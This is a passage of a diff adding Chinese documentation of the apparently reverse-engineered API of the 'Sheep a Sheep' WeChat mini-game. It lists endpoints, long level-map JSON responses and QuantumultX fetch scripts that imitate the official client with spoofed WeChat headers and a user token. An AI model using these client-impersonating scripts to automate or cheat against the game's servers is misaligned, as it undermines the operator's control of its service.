"moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 28, + "rowNum" : 0, + "blockNode" : null, + "id" : "22-28-0", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 36, + "rowNum" : 0, + "blockNode" : null, + "id" : "22-36-0", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 44, + "rowNum" : 0, + "blockNode" : null, + "id" : "22-44-0", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 12, + "rowNum" : 48, + "blockNode" : null, + "id" : "22-12-48", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 44, + "rowNum" : 48, + "blockNode" : null, + "id" : "22-44-48", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + } + ], + "6" : [ + { + "rolNum" : 24, + "rowNum" : 36, + "blockNode" : null, + "id" : "6-24-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 32, + "rowNum" : 28, + "blockNode" : null, + "id" : "6-32-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 20, + "rowNum" : 28, + "blockNode" : null, + "id" : "6-20-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 36, + "rowNum" : 36, + "blockNode" : null, + "id" : "6-36-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 4, + "rowNum" : 33, + "blockNode" : null, + "id" : "6-4-33", + "moldType" : 2, + "type" : 0, + "layerNum" : 6 + }, + { + "rolNum" : 52, + "rowNum" : 33, + "blockNode" : null, + "id" : "6-52-33", + "moldType" : 2, + "type" : 0, + "layerNum" : 6 + } + ], + "23" : [ + { + "rolNum" : 8, + "rowNum" : 4, + "blockNode" : null, + "id" : "23-8-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 48, + "rowNum" : 4, + "blockNode" : null, + "id" : "23-48-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + }, + { + "rolNum" : 28, + "rowNum" : 4, + "blockNode" : null, + "id" : "23-28-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 23 + } + ], + "7" : [ + { + "rolNum" : 20, + "rowNum" : 40, + "blockNode" : null, + "id" : "7-20-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 36, + "rowNum" : 24, + "blockNode" : null, + "id" : "7-36-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 20, + "rowNum" : 32, + "blockNode" : null, + "id" : "7-20-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 36, + "rowNum" : 32, + "blockNode" : null, + "id" : "7-36-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 4, + "rowNum" : 34, + "blockNode" : null, + "id" : "7-4-34", + "moldType" : 2, + "type" : 0, + "layerNum" : 7 + }, + { + "rolNum" : 52, + "rowNum" : 34, + "blockNode" : null, + "id" : "7-52-34", + "moldType" : 2, + "type" : 0, + "layerNum" : 7 + } + ], + "16" : [ + { + "rolNum" : 20, + "rowNum" : 24, + "blockNode" : null, + "id" : "16-20-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 36, + "rowNum" : 40, + "blockNode" : null, + "id" : "16-36-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 32, + "rowNum" : 20, + "blockNode" : null, + "id" : "16-32-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 16, + "rowNum" : 36, + "blockNode" : null, + "id" : "16-16-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 40, + "rowNum" : 28, + "blockNode" : null, + "id" : "16-40-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + }, + { + "rolNum" : 24, + "rowNum" : 44, + "blockNode" : null, + "id" : "16-24-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 16 + } + ], + "8" : [ + { + "rolNum" : 24, + "rowNum" : 40, + "blockNode" : null, + "id" : "8-24-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 32, + "rowNum" : 24, + "blockNode" : null, + "id" : "8-32-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 4, + "rowNum" : 35, + "blockNode" : null, + "id" : "8-4-35", + "moldType" : 2, + "type" : 0, + "layerNum" : 8 + }, + { + "rolNum" : 52, + "rowNum" : 35, + "blockNode" : null, + "id" : "8-52-35", + "moldType" : 2, + "type" : 0, + "layerNum" : 8 + } + ], + "17" : [ + { + "rolNum" : 24, + "rowNum" : 20, + "blockNode" : null, + "id" : "17-24-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 16, + "rowNum" : 28, + "blockNode" : null, + "id" : "17-16-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 40, + "rowNum" : 36, + "blockNode" : null, + "id" : "17-40-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 32, + "rowNum" : 44, + "blockNode" : null, + "id" : "17-32-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 36, + "rowNum" : 16, + "blockNode" : null, + "id" : "17-36-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 32, + "rowNum" : 24, + "blockNode" : null, + "id" : "17-32-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 40, + "rowNum" : 24, + "blockNode" : null, + "id" : "17-40-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 16, + "rowNum" : 40, + "blockNode" : null, + "id" : "17-16-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 24, + "rowNum" : 40, + "blockNode" : null, + "id" : "17-24-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + }, + { + "rolNum" : 24, + "rowNum" : 48, + "blockNode" : null, + "id" : "17-24-48", + "moldType" : 1, + "type" : 0, + "layerNum" : 17 + } + ], + "9" : [ + { + "rolNum" : 28, + "rowNum" : 40, + "blockNode" : null, + "id" : "9-28-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 28, + "rowNum" : 24, + "blockNode" : null, + "id" : "9-28-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 20, + "rowNum" : 36, + "blockNode" : null, + "id" : "9-20-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 36, + "rowNum" : 28, + "blockNode" : null, + "id" : "9-36-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 4, + "rowNum" : 36, + "blockNode" : null, + "id" : "9-4-36", + "moldType" : 2, + "type" : 0, + "layerNum" : 9 + }, + { + "rolNum" : 52, + "rowNum" : 36, + "blockNode" : null, + "id" : "9-52-36", + "moldType" : 2, + "type" : 0, + "layerNum" : 9 + } + ] + }, + "blockTypeData" : { + "10" : 5, + "2" : 5, + "3" : 5, + "11" : 5, + "4" : 5, + "16" : 5, + "5" : 5, + "12" : 4, + "6" : 5, + "13" : 4, + "7" : 5, + "8" : 5, + "14" : 5, + "1" : 5, + "9" : 5 + }, + "widthNum" : 8, + "heightNum" : 10, + "levelKey" : 90026 +} +``` + +
+ +#### 11.4 脚本示例: +```javascript +const url = `https://cat-match-static.easygame2021.com/maps/d9d5f97bbf1c587b34da2120da77c22e.txt`; +const method = `GET`; +const headers = { + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 'Connection': `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'Host': `cat-match-static.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` + +
+ + + +### 12、俺的名片接口 +
+点击展开 + +#### 12.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/personal_info +#### 12.2 请求体: +```json + 无请求体 +``` +#### 12.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "today_state" : 0, + "today_ts" : 0, + "uid" : "你的uid", + "nick_name" : "你的昵称", + "register_time" : 1663815303, + "avatar" : "https://thirdwx.qlogo.cn/mmopen/vi_32/xxx/132", + "skin" : 0, + "today_time" : 0, + "daily_count" : 0, + "challenge" : 0, + "win_count" : 0, + "topic_count" : 0, + "today_fail_count" : 0 + } +} +``` +#### 12.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/personal_info?`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 't': `你的t值`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d26) NetType/WIFI Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); + +``` + +
+ + + +### 13、获取关卡地图ID【话题】 +
+点击展开 + +#### 13.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/topic/game_start +#### 13.2 请求体: +```json + 无请求体 +``` +#### 13.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "map_md5" : [ + "f35bb0aff5ff7fef951795a377cf0749", + "83f4805746c2d9e8f40b5d0153f9e8b6" + ], + "map_seed" : [ + 3153923924, + 1602316329, + 212444537, + 31009644 + ], + "map_seed_2" : "1664643383" + } +} +``` +#### 13.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/topic/game_start?`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 't': `你的t`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); + +``` + +
+ + + + + + +### 14、获取第1关地图【话题】 +
+点击展开 + +#### 14.1 请求URL:https://cat-match-static.easygame2021.com/maps/f35bb0aff5ff7fef951795a377cf0749.txt +#### 14.2 请求体: +```json + 无请求体 +``` +#### 14.3 响应体: +```json +{ + "levelData" : { + "3" : [ + + ], + "1" : [ + { + "rolNum" : 12, + "rowNum" : 16, + "blockNode" : null, + "id" : "1-12-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 12, + "rowNum" : 24, + "blockNode" : null, + "id" : "1-12-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 20, + "rowNum" : 16, + "blockNode" : null, + "id" : "1-20-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 20, + "rowNum" : 24, + "blockNode" : null, + "id" : "1-20-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 36, + "rowNum" : 16, + "blockNode" : null, + "id" : "1-36-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 36, + "rowNum" : 24, + "blockNode" : null, + "id" : "1-36-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 44, + "rowNum" : 16, + "blockNode" : null, + "id" : "1-44-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 44, + "rowNum" : 24, + "blockNode" : null, + "id" : "1-44-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 20, + "rowNum" : 40, + "blockNode" : null, + "id" : "1-20-40", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 28, + "rowNum" : 40, + "blockNode" : null, + "id" : "1-28-40", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 36, + "rowNum" : 40, + "blockNode" : null, + "id" : "1-36-40", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + } + ], + "4" : [ + + ], + "2" : [ + { + "rolNum" : 12, + "rowNum" : 20, + "blockNode" : null, + "id" : "2-12-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 20, + "rowNum" : 20, + "blockNode" : null, + "id" : "2-20-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 36, + "rowNum" : 20, + "blockNode" : null, + "id" : "2-36-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 44, + "rowNum" : 20, + "blockNode" : null, + "id" : "2-44-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 20, + "rowNum" : 41, + "blockNode" : null, + "id" : "2-20-41", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 28, + "rowNum" : 41, + "blockNode" : null, + "id" : "2-28-41", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 36, + "rowNum" : 41, + "blockNode" : null, + "id" : "2-36-41", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + } + ] + }, + "blockTypeData" : { + "1" : 2, + "2" : 2, + "3" : 2 + }, + "widthNum" : 8, + "heightNum" : 10, + "levelKey" : 80002 +} + +``` +#### 14.4 脚本示例: +```javascript +const url = `https://cat-match-static.easygame2021.com/maps/f35bb0aff5ff7fef951795a377cf0749.txt`; +const method = `GET`; +const headers = { + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/39/page-frame.html`, + 'Connection': `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'Host': `cat-match-static.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d30) NetType/WIFI Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` + +
+ + + +### 15、获取第2关地图【话题】 +
+点击展开 + +#### 15.1 请求URL:https://cat-match-static.easygame2021.com/maps/83f4805746c2d9e8f40b5d0153f9e8b6.txt +#### 15.2 请求体: +```json + 无请求体 +``` +#### 15.3 响应体: +```json +{ + "levelData" : { + "25" : [ + + ], + "18" : [ + { + "rolNum" : 48, + "rowNum" : 20, + "blockNode" : null, + "id" : "18-48-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "18-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 40, + "rowNum" : 24, + "blockNode" : null, + "id" : "18-40-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 8, + "rowNum" : 12, + "blockNode" : null, + "id" : "18-8-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 16, + "rowNum" : 12, + "blockNode" : null, + "id" : "18-16-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 8, + "rowNum" : 20, + "blockNode" : null, + "id" : "18-8-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 16, + "rowNum" : 20, + "blockNode" : null, + "id" : "18-16-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 24, + "rowNum" : 20, + "blockNode" : null, + "id" : "18-24-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 8, + "rowNum" : 28, + "blockNode" : null, + "id" : "18-8-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 16, + "rowNum" : 28, + "blockNode" : null, + "id" : "18-16-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + } + ], + "10" : [ + { + "rolNum" : 48, + "rowNum" : 20, + "blockNode" : null, + "id" : "10-48-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "10-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 40, + "rowNum" : 24, + "blockNode" : null, + "id" : "10-40-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 16, + "rowNum" : 20, + "blockNode" : null, + "id" : "10-16-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 8, + "rowNum" : 16, + "blockNode" : null, + "id" : "10-8-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 8, + "rowNum" : 24, + "blockNode" : null, + "id" : "10-8-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 17, + "rowNum" : 56, + "blockNode" : null, + "id" : "10-17-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 39, + "rowNum" : 56, + "blockNode" : null, + "id" : "10-39-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 10 + } + ], + "19" : [ + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "19-40-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "19-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 48, + "rowNum" : 24, + "blockNode" : null, + "id" : "19-48-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 12, + "rowNum" : 12, + "blockNode" : null, + "id" : "19-12-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 20, + "rowNum" : 12, + "blockNode" : null, + "id" : "19-20-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 12, + "rowNum" : 20, + "blockNode" : null, + "id" : "19-12-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 20, + "rowNum" : 20, + "blockNode" : null, + "id" : "19-20-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 12, + "rowNum" : 28, + "blockNode" : null, + "id" : "19-12-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 20, + "rowNum" : 28, + "blockNode" : null, + "id" : "19-20-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + } + ], + "11" : [ + { + "rolNum" : 8, + "rowNum" : 20, + "blockNode" : null, + "id" : "11-8-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 16, + "rowNum" : 16, + "blockNode" : null, + "id" : "11-16-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 16, + "rowNum" : 24, + "blockNode" : null, + "id" : "11-16-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "11-40-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "11-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 48, + "rowNum" : 24, + "blockNode" : null, + "id" : "11-48-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 18, + "rowNum" : 56, + "blockNode" : null, + "id" : "11-18-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 38, + "rowNum" : 56, + "blockNode" : null, + "id" : "11-38-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 11 + } + ], + "12" : [ + { + "rolNum" : 16, + "rowNum" : 20, + "blockNode" : null, + "id" : "12-16-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 8, + "rowNum" : 16, + "blockNode" : null, + "id" : "12-8-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 8, + "rowNum" : 24, + "blockNode" : null, + "id" : "12-8-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 48, + "rowNum" : 20, + "blockNode" : null, + "id" : "12-48-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "12-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 40, + "rowNum" : 24, + "blockNode" : null, + "id" : "12-40-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 19, + "rowNum" : 56, + "blockNode" : null, + "id" : "12-19-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 37, + "rowNum" : 56, + "blockNode" : null, + "id" : "12-37-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 12 + } + ], + "1" : [ + { + "rolNum" : 8, + "rowNum" : 16, + "blockNode" : null, + "id" : "1-8-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 16, + "rowNum" : 24, + "blockNode" : null, + "id" : "1-16-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "1-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 40, + "rowNum" : 24, + "blockNode" : null, + "id" : "1-40-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 24, + "rowNum" : 12, + "blockNode" : null, + "id" : "1-24-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 32, + "rowNum" : 12, + "blockNode" : null, + "id" : "1-32-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 24, + "rowNum" : 28, + "blockNode" : null, + "id" : "1-24-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 32, + "rowNum" : 28, + "blockNode" : null, + "id" : "1-32-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 8, + "rowNum" : 36, + "blockNode" : null, + "id" : "1-8-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 16, + "rowNum" : 36, + "blockNode" : null, + "id" : "1-16-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 8, + "rowNum" : 44, + "blockNode" : null, + "id" : "1-8-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 16, + "rowNum" : 44, + "blockNode" : null, + "id" : "1-16-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 40, + "rowNum" : 36, + "blockNode" : null, + "id" : "1-40-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 48, + "rowNum" : 36, + "blockNode" : null, + "id" : "1-48-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 40, + "rowNum" : 44, + "blockNode" : null, + "id" : "1-40-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 48, + "rowNum" : 44, + "blockNode" : null, + "id" : "1-48-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 12, + "rowNum" : 4, + "blockNode" : null, + "id" : "1-12-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 24, + "rowNum" : 4, + "blockNode" : null, + "id" : "1-24-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 32, + "rowNum" : 4, + "blockNode" : null, + "id" : "1-32-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 44, + "rowNum" : 4, + "blockNode" : null, + "id" : "1-44-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 8, + "rowNum" : 56, + "blockNode" : null, + "id" : "1-8-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 48, + "rowNum" : 56, + "blockNode" : null, + "id" : "1-48-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + } + ], + "20" : [ + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "20-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 40, + "rowNum" : 24, + "blockNode" : null, + "id" : "20-40-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 52, + "rowNum" : 12, + "blockNode" : null, + "id" : "20-52-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 52, + "rowNum" : 20, + "blockNode" : null, + "id" : "20-52-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 52, + "rowNum" : 28, + "blockNode" : null, + "id" : "20-52-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 16, + "rowNum" : 20, + "blockNode" : null, + "id" : "20-16-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + } + ], + "2" : [ + { + "rolNum" : 12, + "rowNum" : 16, + "blockNode" : null, + "id" : "2-12-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 12, + "rowNum" : 24, + "blockNode" : null, + "id" : "2-12-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 44, + "rowNum" : 16, + "blockNode" : null, + "id" : "2-44-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 44, + "rowNum" : 24, + "blockNode" : null, + "id" : "2-44-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 12, + "rowNum" : 36, + "blockNode" : null, + "id" : "2-12-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 20, + "rowNum" : 36, + "blockNode" : null, + "id" : "2-20-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 12, + "rowNum" : 44, + "blockNode" : null, + "id" : "2-12-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 20, + "rowNum" : 44, + "blockNode" : null, + "id" : "2-20-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 36, + "rowNum" : 36, + "blockNode" : null, + "id" : "2-36-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 44, + "rowNum" : 36, + "blockNode" : null, + "id" : "2-44-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 36, + "rowNum" : 44, + "blockNode" : null, + "id" : "2-36-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 44, + "rowNum" : 44, + "blockNode" : null, + "id" : "2-44-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 16, + "rowNum" : 0, + "blockNode" : null, + "id" : "2-16-0", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 40, + "rowNum" : 0, + "blockNode" : null, + "id" : "2-40-0", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 28, + "rowNum" : 0, + "blockNode" : null, + "id" : "2-28-0", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 9, + "rowNum" : 56, + "blockNode" : null, + "id" : "2-9-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 47, + "rowNum" : 56, + "blockNode" : null, + "id" : "2-47-56", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + } + ], + "13" : [ + { + "rolNum" : 16, + "rowNum" : 16, + "blockNode" : 